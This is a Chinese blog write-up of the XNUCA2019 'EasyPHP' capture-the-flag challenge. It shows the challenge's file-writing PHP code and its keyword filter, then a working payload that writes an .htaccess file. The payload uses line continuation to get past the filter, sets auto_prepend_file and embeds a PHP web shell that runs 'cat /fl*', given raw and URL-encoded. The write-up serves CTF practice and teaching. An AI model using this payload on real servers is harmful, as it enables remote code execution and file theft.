[XNUCA2019Qualifier]EasyPHP

最新推荐文章于 2025-07-16 15:30:56 发布

succ3

最新推荐文章于 2025-07-16 15:30:56 发布

阅读量587

点赞数

CC 4.0 BY-SA版权

分类专栏： BUUCTF 文章标签： php

本文链接：https://blog.youkuaiyun.com/shinygod/article/details/129338836

BUUCTF 专栏收录该内容

131 篇文章

订阅专栏

文章介绍了如何利用.htaccess文件进行文件过滤和内容注入，提到了PHP中的auto_prepend_file功能来包含恶意代码，并展示了payload示例。同时，文章提醒读者关注.htaccess的安全配置，防止被黑客利用。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

知识点: .htaccess 利用

代码主要有两个过滤：

一个是文件名：以 a-z 以及 . 开头，这里就很巧妙了，什么文件以点开头，配置文件啊。
另一个就是对文件内容的过滤，基本等于没有，可以用注释和行拼接绕过。

php 的 .htaccess 文件中可以用 # 号注释某行，也可以用 \ 拼接上下两行，那么我们可以直接在 .htaccess 里写 shell，加上 auto_prepend_file 设置把 shell 包含到 index.php 中。

<?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nJust one chance");
?>

payload: 当然要对代码 url 编码一下

?content=php_value auto_prepend_fi\
le .htaccess
#<?php system('cat /fl*');?>\&filename=.htaccess

?content=php_value%20auto_prepend_fi%5C%0Ale%20.htaccess%0A%23%3C%3Fphp%20system('cat%20%2Ffl*')%3B%3F%3E%5C&filename=.htaccess

.htaccess 的各种利用 y4 师傅的文章就写的很详细，其中还有很多解决这道题的方法，这边就不一一列举了。

https://blog.youkuaiyun.com/solitudi/article/details/116666720